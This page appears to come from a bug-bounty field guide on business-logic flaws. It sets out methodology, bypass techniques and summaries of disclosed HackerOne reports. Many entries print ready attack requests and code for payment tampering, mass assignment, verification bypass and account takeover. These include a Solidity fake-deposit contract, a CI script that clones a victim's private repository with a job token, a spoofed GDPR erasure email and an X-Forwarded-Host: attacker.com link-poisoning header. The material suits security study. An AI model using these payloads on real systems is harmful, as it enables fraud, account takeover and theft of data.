⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Business Logic Flaws
Vulnerabilities

Business Logic Flaws

§Basic information

A business-logic flaw is a bug in what the application is allowed to do, not in how it parses input. The code runs exactly as written — it simply trusts the wrong thing: a client-supplied price, a status field the user should never set, a verification that never happened, or an ordering of steps the developer assumed was fixed.

There is no injection metacharacter to grep for, so scanners are blind to it. You find these by modelling the intended workflow, listing every assumption it depends on, and then violating one. The transferable primitive is almost always the same shape: the server accepts a value or a state it should have derived or re-checked itself. Treat every logic bug as a pivot — the first link in a chain to account takeover, money, or another tenant's data.

§Methodology

  1. Capture the whole happy path in a proxy — every request from signup → verify → merge → checkout → confirm. Note each step's URL, the token/ID it carries, and what precondition it proves.
  2. Draw the state machine. For each transition ask: what is this step supposed to guarantee, and where is that guarantee enforced — on the record, or only on this one URL?
  3. Pick an assumption and break it. Skip a step, reorder it, repeat it, force-browse to a later sibling path, or feed a value the server should own.
  4. Fuzz "underivable" fields — add email, email_verified, role, status, amount, price to any update body and watch for a 200 that took them.
  5. Confirm by precondition, not by error. The bug is proven the moment a step's precondition (payment, ownership, verification, moderation) is not re-checked yet the action still succeeds.
  6. Escalate to a concrete grab — money moved, an account owned, PII dumped, or a moderation gate skipped. alert-equivalents ("I could set my role to admin") don't get paid; do it.
▸ TIP
The real tool here is a written state-machine diagram and a bullet list of assumptions. Before touching Burp, sentence-complete "the server assumes that ___" for every step — each blank is a candidate bug.

§Technique variants

Logic bugs cluster around trust boundaries — points where the server accepts something it should have computed. Find which boundary your target crosses, then use the matching probe.

Mass assignment (writing fields you shouldn't)

Any update/PATCH that takes a JSON blob and binds it to a model will often write fields the form never showed. Inject the security-relevant one and let the next feature trust it.

PATCH /api/v2.0/accounts/<account_id> HTTP/2 Host: TARGET Content-Type: application/json {"data":{"brand_safety_tier_preference":"EXPANDED","email":"VICTIM@corp.com"}}

The address above is silently marked verified with no ownership check — you now inherit team invites and SAML federation tied to it (#1551176). The same primitive flips a moderation/approval state: re-send the final GraphQL mutation with the status the moderator was supposed to grant.

POST /api/graphql HTTP/2 Host: TARGET Content-Type: application/json {"operationName":"UpdateVacancyStatus","query":"mutation UpdateVacancyStatus($vacancyId:ID!,$status:String!){...}","variables":{"vacancyId":"VID","status":"ACTIVE"}} # replay the captured mutation with "status" flipped MODERATION -> ACTIVE; client picks the post-approval state (#1861487)
● NOTE
Pick the field the downstream feature reads: role/is_admin → privilege escalation, email_verified → identity, status → workflow skip, amount/price → payment. Same primitive, different sink. Discover hidden ones with Arjun/param-miner rather than guessing.

Value tampering (money, quantity, identifiers)

Anything the browser sends is attacker-controlled. Test whether the server re-derives it or trusts it — signed values included, if the signature covers the wrong bytes.

POST /link HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded payment_method_token=<VICTIM_TOKEN>&last_four=0000&card_type=visa # a captured token is not bound to its account -> link a victim card; metadata echoed unvalidated (#637267)

Negatives and zeros are the fastest money tells: a negative line item nets the order total down (#364843), and an unvalidated bid in a public state-changing callback mints value from nothing (#684092).

# negative quantity subtracts from the total instead of adding POST /order/item quantity=-1 # (#364843) # unauth smart-contract callback trusts an attacker-chosen bid -> free mint flip.kick(urn, gal, tab=TOTAL_SUPPLY, lot=1, bid=TOTAL_SUPPLY) # no auth, bid never re-validated (#684092)

Multi-step flow abuse (skip / reorder / force-browse)

A later step's URL is frequently a guessable sibling of the current one. Keep the query string / token, swap only the path segment, and jump past the gate in between.

# happy path: /login?ctx=X -> /accounts_merge/confirm -> /accounts_merge/new-password?ctx=X GET https://TARGET/accounts_merge/new-password?<same-query-as-/login> # lands straight on "set a new password" — the "enter victim's password" step is skipped (#796956)

If a page is view-once, the single-use guard usually lives on that URL, not the data. Find a second endpoint that reads the same identifier from a different location (cookie/param/header):

GET /new/checkout/order/ HTTP/1.1 Host: TARGET Cookie: basket_key=<19-digit ID> # the one-time /checkout-router/[ID]/ guard doesn't apply here -> brute-force IDs, dump PII (#271176)

Verification & token bypass

For any "we emailed you a link/code" step, verification is supposed to prove possession of the inbox. Ask four questions: is the token visible in the UI/API, does a bare GET consume it, is it single-use, is it bound to the requesting session?

GET https://TARGET/email-change/<CONFIRMATION_TOKEN>/ HTTP/1.1 # the token was printed in the visible "resend" link -> confirm with no inbox access (#229619)
# 1. request a magic login link, consume it once in browser A # 2. paste the identical https://app.TARGET/login?token=... into browser B / incognito # -> logged in again: the link is multi-use and unbound to the requester (#1486327)

A verify-on-GET link is also fired by corporate mail-scanner bots that pre-fetch URLs — register an address at such a company, and the scanner auto-verifies it for you with zero human action (#2798380). And an OTP that is delivered to the attacker but validated against the victim's id claims the victim's resource (#1330529).

Idempotency, counters & type confusion

Anything summed or applied "once" — discounts, deposits, coupons, ratings, balances — should be idempotent. Replay the "apply" request N times and watch the counter.

POST /ajax/accept_fee_discount_offer HTTP/2 Host: TARGET Content-Type: application/json {"id":"fdo_XXXX"} # fire it 30x -> the discount stacks 30x; no race even needed (#1849626)

Type-confusion is the sibling probe: send null, [], {}, or number-as-string where a string is expected. A stored bad value that crashes the renderer becomes a real vuln once a share/invite delivers it to another tenant.

PUT /projects/api/projects/tags/<PROJECT_ID>/?key=API_KEY HTTP/2 Host: TARGET Content-Type: application/json {"name": null} # stored null white-screens the project list; push it to a victim via invite -> no-interaction DoS (#1237700)

Economic / rounding flaws

Fees, quotas, and credits computed with division can floor to zero, nullifying an economic rate limit. Audit any cost formula for the input that drives the result to 0 (or below 1).

# drive median block weight up until integer division floors the fee to 0 # min_fee_per_byte = round_down(0.95 * block_reward * ref_weight / fee_median^2) == 0 # -> zero-fee transactions accepted -> free unlimited spam. Fix: max(result, 1) (#1981441)

The mirror-image is enumerating a paid resource at amount=0 — a free subscription/plan when the price is trusted from the request (#511044).

Cross-tenant delivery

A "self-only" crash or poisoned object is not a finding until a sharing/invite/collaboration feature pushes it into a victim's session. Real-time channels are the strongest vector — if a peer can set fields in your DOM and a later client action builds a request from them, you get attacker-directed CSRF.

The collab websocket frame below sets a field in the victim's DOM; when they click "Build" the client POSTs to the traversed endpoint as them (#837328). Note %5B/%5D are the URL-encoded [/] — send them encoded, exactly as shown:

{"type":"form-update","element":"#algo-id", "value":"/../../../../../users/update_preferences?prefs%5Bsend_login_detected_email%5D=false", "roomId":"..."}

§Bypasses

Filter / controlBypassSeen in
Moderation / approval gateRe-send the final mutation with the post-approval state (MODERATIONACTIVE)#1861487
Verification (proves ownership)Mass-assign the email field into an unrelated preferences PATCH → silently "verified"#1551176
Auth step in a multi-step flowKeep the query string, swap the path to a later sibling endpoint#796956
Single-use / view-once guardRead the same ID from a cookie at a sibling endpoint that lacks the guard#271176
GET vs POST precedenceSame param in query + body; server prefers the GET value on password-change#96636
Verification token secrecyConfirm token exposed in the "resend" link / API JSON → visit the confirm URL#229619
Human-click requirementCorporate link-scanner bot pre-fetches the verify link → auto-verified, no user#2798380
Single-use magic linkReplay the identical link in a second browser (not consumed, not bound)#1486327
OTP bindingOTP delivered to attacker but validated against the victim's id#1330529
Idempotent "apply once"Replay accept_fee_discount_offer N times → stacks N×#1849626
Client-side password gateDisable-2FA confirmation enforced only in JS#783258
Unthrottled re-authBrute-force the account password via the "confirm your identity" endpoint (length oracle)#1465277
Per-request rate limitBatch many values into one array-param request#1559262
Server-side CAPTCHAResponse never validated — send any/empty value#54641
Order-sensitive guardMutually-exclusive flags checked for one ordering only (-iJ guarded, -Ji not)#887462
Cost formula / roundingPush a division until it floors to 0 → free action#1981441
URL/domain denylistTrailing dot / dot-segment / unicode normalization bypass#1102764
▲ WARNING
A logic bug you can only trigger against your own account (a self-DoS, a stacked discount on your own balance you'd have to pay for anyway) is not automatically a finding. It becomes real with a delivery vector — a sharing/invite feature that ships the poison to a victim (#1237700), or a value that moves someone else's money. Report the impact, not the primitive.

§Escalation & impact

Logic flaws are the pivot, not the whole kill chain:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 267 in this class.

Real-world example

Payment param smuggling via delimiter-less signed hash

◆ Critical
Specimen #1295844 · valve · 7500 · 437 votes · resolved
Program valveSurface webTag webhook

Root cause

The payment provider signed a hash of all field names+values concatenated with no delimiters, so shifting characters between adjacent params (Amount=2000 -> Amount2=000) and abusing an attacker-controlled email value to inject &amount=100 keeps the same hash but changes the effective amount.

Method

  1. Set account email to contain a smuggle payload (e.g. brixamount100abc@...)
  2. Start Add Funds -> pick a Smart2Pay method, intercept POST to globalapi.smart2pay.com
  3. Split Amount=2000 into Amount2=000 and split the email field into brix&amount=100&ab=c... injecting a new low amount param
  4. Forward; hash still validates because concatenation is identical; pay ~1$ and receive full wallet credit
MerchantID=1102&MerchantTransactionID=X&Amount2=000&Currency=PLN&...&CustomerEmail=brix&amount=100&ab=c%40host&...&Hash=<unchanged>

Insight — When a signature is computed over concatenated fields WITHOUT delimiters, param boundaries are malleable: move '=' and '&' around, or smuggle new key=value pairs through a free-text field (email/name), to change parsed values while keeping the signed string byte-identical.

Real-world example

Missing access control + trusted user-supplied bid in smart-contract auction (flip.kick)

◆ Critical
Specimen #684092 · makerdao_bbp · awarded · 466 votes · resolved
Program makerdao_bbpSurface otherChain fake auction -> end.skip free DAI mint -> end.pack/cas

Root cause

A public state-changing function (flip.kick) had no access control and accepted every stored auction field (including the winning bid) as an unvalidated parameter, so downstream contracts trusted a value the attacker fabricated for free.

Method

  1. Wait until MCD is in liquidation/end phase
  2. Call flip.kick directly with an arbitrarily large bid and a tiny non-zero lot (near-zero cost)
  3. Call end.skip -> the end contract refunds the fake bid, minting free DAI
  4. Call end.pack + end.cash to convert the free DAI into all collateral held by end
flip.kick(urn, gal, tab=TOTAL_DAI_SUPPLY, lot=1, bid=TOTAL_DAI_SUPPLY) // no auth, bid never validated

Insight — On any system where a privileged callback (kick/settle/finalize) is assumed to be called only by a trusted contract, test calling it directly and passing attacker-chosen amounts; trusted-value assumptions across contract boundaries are the bug.

Real-world example

Mirror pipeline attributed to victim -> steal CI_JOB_TOKEN

◆ Critical
Specimen #894569 · gitlab · 12000 · 307 votes · resolved
Program gitlabSurface webChain account deletion -> pipeline mis-attribution -> CI_JOB

Root cause

A pull-mirror with 'trigger pipelines for mirror updates' runs the pipeline as the group owner; if the owner deletes their account while still a member, the trigger falls to another owner, so an attacker-controlled .gitlab-ci.yml executes under the victim's identity with the victim's CI_JOB_TOKEN.

Method

  1. Attacker1: public project with a .gitlab-ci.yml you control
  2. Attacker2: public group, project pull-mirroring Attacker1's repo with trigger-on-mirror enabled; invite Victim as Owner, then delete Attacker2
  3. Attacker1: update .gitlab-ci.yml to git clone https://gitlab-ci-token:$CI_JOB_TOKEN@.../victim/private_repo.git
  4. Mirror update triggers pipeline as Victim -> exfiltrates victim-private repos/registry
script: - git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/victim/private_repo.git - cat private_repo/*

Insight — CI job identity/attribution is a trust boundary: look for flows where the entity that TRIGGERS a job differs from the one that CONTROLS the job definition. Deleted/ownership-transfer edge cases often mis-attribute the runner identity.

Real-world example

ETH nested revert credits deposit without transfer

◆ Critical
Specimen #328526 · coinbase · awarded · 208 votes · resolved
Program coinbaseSurface web

Root cause

ETH receiving code credited a Coinbase account based on an inner call/transfer even when a nested revert() rolled the on-chain transaction back (and delegatecall was mishandled), so funds were credited though never actually received.

Method

  1. Deploy a contract whose inner dive() transfers to the Coinbase deposit address then revert()s
  2. Call it so the whole tx reverts on-chain but Coinbase's off-chain credit logic already recorded the deposit
  3. Repeat to inflate balance, then cash out
contract InternalAttacker { function internalAttack(address _target) payable { address(this).call(bytes4(keccak256("dive(address)")), _target); msg.sender.transfer(this.balance); } function dive(address _target) { _target.transfer(this.balance); revert(); } }

Insight — Exchanges/bridges must credit deposits only on FINAL, non-reverted, top-level transaction success. Test crediting logic against nested reverts, failed internal txs, and delegatecall -- any path where an internal transfer 'happens' but the outer tx rolls back.

Real-world example

Negative-quantity line item nets down order total

◆ Critical
Specimen #364843 · upserve · awarded · 166 votes · resolved
Program upserveSurface api

Root cause

The order API trusted a fully client-supplied order JSON (per-item price, total, and quantity); a line item with negative quantity subtracted from the charged total.

Method

  1. Build an order, intercept the order-submit JSON
  2. Add an item with quantity: -1 (and/or trust client price/total)
  3. Server charges the reduced total (e.g. 2x$12 - 1x$9 = $18.70)
{"items":[{"name":"ChickenBurger","price":1200,"quantity":2},{"name":"BreadPudding","price":900,"quantity":-1}], "total":1870}

Insight — For any cart/order that sends quantities (or prices/totals) client-side, test negative and fractional quantities and mixed +/- line items to net the total down. Servers frequently sum without a >=0 constraint or server-side reprice.

Real-world example

Self-approving collaborator via account-type confusion

◆ Critical
Specimen #270981 · shopify · awarded · 309 votes · resolved
Program shopifySurface webTag account-takeover

Root cause

Logic meant to auto-convert an existing normal user account into a collaborator (when a partner already had a user account on the store) failed to check the account type, so a pending (not-yet-approved) collaborator account got converted to active — letting a partner approve their own collaborator request with no merchant interaction.

Method

  1. Create two partner accounts sharing the same business email
  2. Request collaborator access to a target store (stays pending)
  3. The auto-conversion path treats the pending collaborator as an existing user account and activates it without owner approval

Insight — Look for state machines that auto-merge/auto-convert accounts by shared identifier (email). If the code branches on 'account exists' without also checking its type/state, a pending/attacker record can be promoted. Test flows where the same email can hold two roles simultaneously.

Real-world example

Ownership-claim takeover via OTP sent to attacker but verified against victim id

◆ Critical
Specimen #1330529 · eternal · 3250 · 107 votes · resolved
Program eternalSurface apiTag account-takeover

Root cause

The claim flow sends the OTP to a number the attacker controls but the separate verify step trusts a client-supplied resId; attacker gets the OTP on their own request, then submits it with the victim's resId to bind their email as owner.

Method

  1. POST send-auto-claim-otp with your own number and your own resId -> OTP delivered to you (also returns requestId + code in response)
  2. POST verify-auto-claim-otp with that verificationCode/requestId but change resId to the victim restaurant
  3. Your email is mapped as Owner/Manager of the victim (unclaimed) restaurant
POST /restaurant-onboard-diy/v2/send-auto-claim-otp {"number":"<attacker>","isdCode":"+91","resId":"<attacker resId>"} POST /restaurant-onboard-diy/v2/verify-auto-claim-otp {"verificationCode":<otp>,"requestId":"<from step1>","resId":"<VICTIM resId>"}

Insight — In two-step OTP/claim flows, the object id is often only validated at send-time; swap the target id at verify-time. Decoupled send/verify steps with a client-controlled resource id = ownership takeover.

Real-world example

Ticket-trick 2.0: forge verified support@ email via Zendesk ticket hash + CC

◆ Critical
Specimen #498964 · gitlab · awarded · 306 votes · resolved
Program gitlabSurface webChain forge verified support@ email -> SSO/allowlist trust ->Tag account-takeover

Root cause

Even with support+*@ blocked, Zendesk assigns each ticket a public hash usable to append content; by registering support@company.com at Google, stuffing the ticket hash into the name fields and CCing noreply@google.com onto the reply, Google's verification code lands publicly in the ticket, yielding a verified privileged mailbox that unlocks internal apps.

Method

  1. Email support@company.com to open a ticket (get an automated reply)
  2. Register support@company.com at accounts.google.com; put the ticket's Zendesk hash as first/last name
  3. Reply to the support ticket CCing noreply@google.com, then re-trigger Google's verification
  4. The verification code becomes public in the ticket -> verified support@ Google account
  5. Use it (SSO/OIDC/allowlisted domain) to reach internal dashboards (crt.sh finds redash/prometheus/dashboards subdomains)

Insight — Shared support inboxes remain an identity-forgery surface even after the classic ticket-trick fix. Any provider that emails a secret to an address you can make CONTENT-visible (ticket hash, CC, mailing list) lets you 'own' that address. Then hunt subdomains that trust the company email domain.

Real-world example

Client-side MD5 2FA challenge bypass + SSRF via cookie path traversal (CTF chain)

◆ Critical
Specimen #895172 · h1-ctf · none · 23 votes · resolved
Program h1-ctfSurface webChain log disclosure -> creds -> MD5 2FA bypass -> cookieTag account-takeover

Root cause

Multiple trust-in-client flaws chained: the 2FA one-time code is validated against an MD5 hash sent to the client in a hidden field, and an access-control gate is enforced only by a value inside a base64 cookie that also feeds an unvalidated redirect used for SSRF.

Method

  1. Find exposed logger/config (Google/GitHub) -> download /bp_web_trace.log full of base64 request dumps -> recover creds
  2. Bypass 2FA: hidden field challenge=MD5(otp); replace with MD5 of a value you know and submit that value as the OTP
  3. Decode base64 session cookie {account_id,hash}; set account_id to ../../redirect?url=https://internal-host/# to SSRF the IP-restricted internal service
  4. Enumerate internal paths, pull the APK, decompile with apktool, drive exported activities via adb intents to extract the final token
# 2FA bypass: put your own hash in the hidden field, submit the matching plaintext <input type="hidden" name="challenge" value="e11170b8cbd2d74102651cb967fa28e5"> # MD5("1111111111") # SSRF via cookie path traversal (base64-encoded cookie value): {"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}

Insight — Whenever a client receives a hash/hidden field that 'proves' a server secret (OTP, price, role), try replacing it with the hash of your own value. When an ID from a cookie is used to build a server-side URL, test path traversal + an app's own /redirect endpoint to reach IP-restricted internal services.

Real-world example

Duplicated field double-counted -> inflated balance / value

◆ Critical
Specimen #377592 · monero · none · 5 votes · resolved
Program moneroSurface otherChain duplicate tx pubkey -> inflated deposit credit -> over

Root cause

Wallet output-scanning iterates every tx public key in the transaction extra field without deduping, so a transaction crafted with the same tx pubkey repeated N times decodes the same outputs N times and reports N x the real amount received.

Method

  1. Craft a transaction that adds add_tx_pub_key_to_extra() multiple times (duplicate tx pub key).
  2. Send a small real amount (e.g. 1 XMR) to an exchange deposit address (no payment id so it is manually credited).
  3. Recipient/exchange show_transfers reports amount x (number of duplicate pubkeys).
  4. Withdraw the inflated credited balance.
// src/cryptonote_core/cryptonote_tx_utils.cpp add_tx_pub_key_to_extra(tx, txkey_pub); add_tx_pub_key_to_extra(tx, txkey_pub); // duplicate -> 2x credited

Insight — Anywhere a server sums over a list parsed from attacker-controlled input (line items, coupons, tx outputs, headers), test duplicate/repeated entries. If dedup is missing, duplication multiplies the credited value -> financial theft. Confirm the display path AND the authoritative accounting path.

Real-world example

GDPR data-deletion request via spoofed email (no identity verification)

◆ High
Specimen #928255 · gitlab · awarded · 221 votes · resolved
Program gitlabSurface webTag account-takeover

Root cause

Privacy/GDPR request mailbox (gdpr-request@) triggers Right-to-Access/Right-to-Deletion on the sender's claimed email without verifying sender authenticity or asking for a secondary identity proof.

Method

  1. Find the program's GDPR/privacy request email address.
  2. Send a spoofed email FROM the victim's email address (via a reputable SMTP that allows arbitrary From, e.g. an ESP) requesting account deletion / data export.
  3. Process auto-accepts based on the From header; victim's account is deleted (or their data exported) with no interaction.
# Spoofed From, sent through an SMTP/ESP that does not enforce From ownership MAIL FROM:<attacker@esp> From: victim@example.com To: gdpr-request@target.com Subject: GDPR Article 17 - Erasure request Please delete all my data / my account.

Insight — Any workflow that acts on an email's From header (GDPR, unsubscribe, support identity) without verifying the sender or a second factor is abusable via email spoofing. Test privacy/legal request channels, not just the app.

Real-world example

Validation gap between daemon and wallet: zero-amount tx decodes attacker amount

◆ Critical
Specimen #501585 · monero · none · 9 votes · resolved
Program moneroSurface otherChain crafted miner tx -> wallet mis-decodes amount -> fake

Root cause

Two components disagree on how to interpret a field: the daemon accepts a miner transaction with a zero amount (and does not check its RingCT signatures), while the wallet, seeing amount==0, decodes the amount from the (unverified) RingCT data - so an attacker-mined block makes the wallet believe it received an arbitrary amount.

Method

  1. Modify the node to produce block templates with a zero amount in the miner tx plus valid-enough RingCT data that decodes to a chosen amount.
  2. Mine a block directly to a target (exchange) wallet.
  3. The wallet decodes the attacker-chosen amount and credits a fake deposit.

Insight — When two layers validate the same data differently (producer vs consumer, daemon vs wallet, API vs UI), the trust gap is exploitable: find a field the writer accepts loosely but the reader derives value from. Generalizes to any deposit/balance system that trusts a self-reported or derived amount without cross-verifying the authenticated field.

Real-world example

Email auto-verified via mass-assigned email field on account update

◆ High
Specimen #1551176 · reddit · 5000 · 198 votes · resolved
Program redditSurface apiChain mass-assign email -> auto-verified -> hijack team inviTag account-takeover

Root cause

Adding an 'email' field to the account-update PATCH sets the account's email as verified without any verification step, letting an attacker set their email to a victim address and accept team invites sent to it.

Method

  1. Register an ads account, do not verify email
  2. Capture a PATCH /api/v2.0/accounts/<id> request
  3. Add "email":"<victim>" to the JSON body
  4. Email is now 'verified'; accept invites addressed to that email
PATCH /api/v2.0/accounts/<account_id> HTTP/2 Host: ads-api.reddit.com Content-Type: application/json {"data":{"brand_safety_tier_preference":"EXPANDED","email":"<VICTIM_EMAIL>"}}

Insight — Try mass-assigning an 'email'/'email_verified' field into unrelated update requests (settings, preferences). If the write path lacks a verification/ownership check, you inherit invites and notifications tied to that address.

Real-world example

Incomplete global shutdown leaves a module live (mint after cage)

◆ High
Specimen #672664 · makerdao_bbp · awarded · 152 votes · resolved
Program makerdao_bbpSurface web

Root cause

MakerDAO's end.cage shutdown paused vat/CDPs but never caged the pot (savings) module, so DAI could still be minted via accrued interest even after the final redemption rate was fixed, letting fast actors over-redeem and steal collateral from slower users.

Method

  1. Initiate/await system shutdown (end.cage ... end.flow fixes DAI/collateral rate)
  2. Because pot.drip still works post-flow, deposit DAI in pot and keep accruing after the rate is locked
  3. pot.exit inflated DAI, then end.pack/end.cash to drain collateral before others redeem
test_steal_collateral_using_dsr_after_thaw (attached end.t.sol PoC)

Insight — For any 'global pause / emergency shutdown / maintenance mode', enumerate EVERY state-mutating module and check each is actually frozen. A single un-paused component (here pot.drip) after invariants are fixed breaks conservation and enables theft.

Real-world example

Pay amount not cross-checked against order amount

◆ High
Specimen #1408782 · eternal · 2000 · 129 votes · resolved
Program eternalSurface api

Root cause

Wallet top-up was two-step: generate order for amount X, then pay against order_id; the payment step's amount was not reconciled with the order's amount, so paying a small amount credited the full order value.

Method

  1. POST /gw/payments/zomato_money/order with amount=1000 -> order_id
  2. POST /v2/sdk/make_payment with the order_id but a small amount
  3. Wallet credited the order's 1000 despite paying less
POST /gw/payments/zomato_money/order {"amount":"1000.0",...} POST /v2/sdk/make_payment amount=<small>&order_id=<id>&order_type=ZM_RECHARGE

Insight — In multi-step order->pay flows, the two amounts are often independently client-supplied and never reconciled server-side. Generate an order for a high amount, then pay a low amount against the same order_id and check what gets credited/fulfilled.

Real-world example

Tamper client-supplied cancellation_amount to 0

◆ High
Specimen #614523 · eternal · awarded · 129 votes · resolved
Program eternalSurface api

Root cause

A cancellation_amount fee field was trusted from the client; setting it to 0 reduced the payable total and wiped prior cancellation charges.

Method

  1. Add items, proceed toward payment, intercept the pre-payment request
  2. Set cancellation_amount=0
  3. Order total drops / cancellation charges cleared
cancellation_amount=0

Insight — Beyond item price/qty, hunt every auxiliary money field in the request (fees, taxes, tips, cancellation/penalty charges, shipping); any that the server takes from the client can be zeroed or negated.

Real-world example

Price manipulation via client-controlled quantity/line-item fields

◆ High
Specimen #403783 · eternal · awarded · 77 votes · resolved
Program eternalSurface web

Root cause

The order total is recomputed from client-supplied quantity (and addon count) fields that the server trusts; fractional or inflated values that the UI never emits are accepted, collapsing the price.

Method

  1. Add an item and proceed to checkout, intercepting the cart/calculate request
  2. Change the quantity from an integer to a fraction (1 -> 0.1) in both the calculate and makeorder requests
  3. Total drops proportionally (99 -> 9.9) yet the order is accepted and fulfilled
order[dishes][0][quantity]=0.1 (also seen: addon seat field "3-seats-3" -> "10-seats-10" forcing $0)

Insight — Never assume the client can only send UI-reachable values: send fractional/negative/oversized quantities and edit hidden line-item price fields - if the server recomputes from them without bounds, you control the price.

Real-world example

Single-transaction interest arbitrage from unsynchronized rate accumulators (DeFi)

◆ High
Specimen #665798 · makerdao_bbp · awarded · 63 votes · resolved
Program makerdao_bbpSurface otherChain borrow -> deposit -> drip -> withdraw -> repay i

Root cause

Two smart-contract rate mechanisms (stability fee 'jug' vs savings rate 'pot') accrue only on separate drip() calls; sequencing borrow->deposit->drip->withdraw->repay inside one atomic tx harvests savings interest without ever holding the asset, inflating supply.

Method

  1. Within one transaction: join collateral, frob a CDP to mint max DAI
  2. Deposit DAI into pot (savings), call pot.drip to accrue DSR
  3. Exit pot to collect principal+interest, repay the CDP, withdraw collateral
  4. Net: risk-free interest each block, repeatable/crowdsourceable to inflate supply
atomic tx: vat.frob(mint) -> pot.join -> pot.drip -> pot.exit -> vat.frob(repay)

Insight — In DeFi, look for state that accrues on discrete keeper/drip calls rather than continuously and is not synchronized across contracts: an atomic borrow-use-repay flow can extract value that assumes time actually passed.

Real-world example

Payment-method token leaked to analytics + cross-account token reuse

◆ High
Specimen #637267 · upserve · awarded · 50 votes · resolved
Program upserveSurface webChain analytics data exposure -> token capture -> cross-acco

Root cause

Sensitive payment_method_token is (a) exfiltrated to a 3rd-party analytics service and (b) accepted by the link-card endpoint without binding it to the originating account, so a captured token links a card to any account. Card metadata (last_four, card_type) is trusted from the request, not validated.

Method

  1. Create two accounts; add a card to each and capture all requests
  2. Note the payment_method_token returned when linking a card
  3. Observe the same token also being sent to the 3rd-party analytics endpoint
  4. Remove the card from account B
  5. Replay the link-card request on account B using account A's payment_method_token
  6. Card is linked to account B; last_four/card_type in the body are echoed unvalidated
POST /link (orders.upserve.com) payment_method_token=<victim_token>&last_four=0000&card_type=visa

Insight — Grep client traffic for secrets forwarded to analytics/marketing/CDN hosts (Segment, GA, Sentry, etc.). Then test whether such tokens are account-bound: replay another user's token/ID on the consuming endpoint. Also fuzz displayed card metadata fields (last_four, brand) for server-side trust.

Real-world example

Missing rate limit on abuse-report button = arbitrary comment deletion

◆ High
Specimen #1051734 · automattic · awarded · 50 votes · resolved
Program automatticSurface web

Root cause

An auto-moderation feature deletes a comment after N abuse-reports, but the report action has no rate limit or per-user dedup, so one attacker can submit N reports and delete any comment.

Method

  1. Enable 'Report this comment' with a deletion threshold (e.g. 10) on an IntenseDebate-moderated site
  2. Post a target comment
  3. From another account, click Report on that comment repeatedly (or replay the report request) x10
  4. Comment is auto-deleted
Replay the 'report comment' POST N times (N = configured deletion threshold)

Insight — Rate-limit findings become high impact when the throttled action drives a state change (delete/ban/lock/refund). Look for count-threshold moderation (reports, flags, downvotes) and check whether a single actor can reach the threshold alone.

Real-world example

Free checkout via missing quantity validation (<=0 coerced to 1)

◆ High
Specimen #357929 · reverb · awarded · 41 votes · resolved
Program reverbSurface web

Root cause

Cart quantity is not validated server-side; a value of 0 (or negative) is stored but coerced to 1 unit at fulfillment while the price total computed from quantity is 0, so items check out for free.

Method

  1. Add item to cart
  2. Intercept the add-to-cart/update response or request and set quantity=0
  3. Proceed to checkout -> total is $0 but one unit is delivered
  4. Place order
cart update: quantity=0 (also try negative values)

Insight — Always fuzz quantity/amount/count with 0, negative, decimals, and huge values. Price*quantity math often yields 0 or negative totals while fulfillment floors to 1. A staple e-commerce logic test.

Real-world example

Price tampering by reusing a signed amount token across mismatched fields

◆ High
Specimen #316789 · starbucks · none · 40 votes · resolved
Program starbucksSurface web

Root cause

The gift-card flow signs one 'vpc_Amount' value but the charged amount comes from a different unsigned field; a signature captured for a tiny amount can be pasted onto a high-value order.

Method

  1. Start a $300 card, capture the checkout request
  2. Set all amounts to 0.1 to obtain the signed vpc_Amount for 0.1, then drop the request
  3. Restart, keep display 300 but set the charged 'amount' field to 0.1
  4. On payment page replace vpc_Amount with the captured 0.1 signature
  5. Pay $0.1 for a $300 card sent to attacker's email
txtAmount=300&amount=0.1&txtCustomAmount=300 vpc_Amount=XcfYhTj%2BHFIY5c9n8sSCzqDFAxXGgXXoZgF0VVUBvjM%3D (signature for 0.1)

Insight — When one field is signed/encrypted and a parallel plaintext field drives the real charge, mix a low-amount signature with a high-amount order - the signature only vouches for the value it wrapped.

Real-world example

Host header injection via X-Forwarded-Host -> poisoned invite/reset links

◆ High
Specimen #1072277 · logitech · none · 37 votes · resolved
Program logitechSurface webChain host header injection -> poisoned reset/invite link ->Tag account-takeover

Root cause

The app builds email links (invitation/password flows) from the request host. The Host header is validated (403 on change) but X-Forwarded-Host is trusted and reflected into generated links, enabling link poisoning / email spoofing.

Method

  1. Trigger an email-generating action (invite a user by email)
  2. Direct Host change is blocked (403)
  3. Add X-Forwarded-Host: attacker.com to the request
  4. Generated email link points to attacker.com -> victim credential/token theft
POST /invite ... Host: oslo.io X-Forwarded-Host: attacker.com

Insight — If Host is validated, escalate with X-Forwarded-Host, X-Host, X-Forwarded-Server, or absolute-URI request lines. Target any flow that emails a link derived from the host (password reset, invite, verify) for link poisoning and cache poisoning.

Real-world example

Fund transfer via client-set CardNumber; error hides success

◆ High
Specimen #766437 · starbucks · none · 36 votes · resolved
Program starbucksSurface web

Root cause

The transfer form takes the source CardNumber from a client field; changing it to a victim's card transfers their balance, and a mismatched FullAmount throws a visible error while the transfer still commits.

Method

  1. Open the card transfer form, edit the DevTools CardNumber to victim's valid card number
  2. Set FullAmount below the victim's balance
  3. Submit; an error appears but the FullAmount is transferred - verify on Card Information page
Edit CardNumber form field (Chrome DevTools) to victim's Starbucks card number; FullAmount <= victim balance

Insight — Don't trust the error message - re-check the resulting state; a source-account identifier taken from a client field is an IDOR that moves money.

§References & practice

  1. PortSwigger Web Security Academy — Business logic labs (hands-on practice).
  2. All 267 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.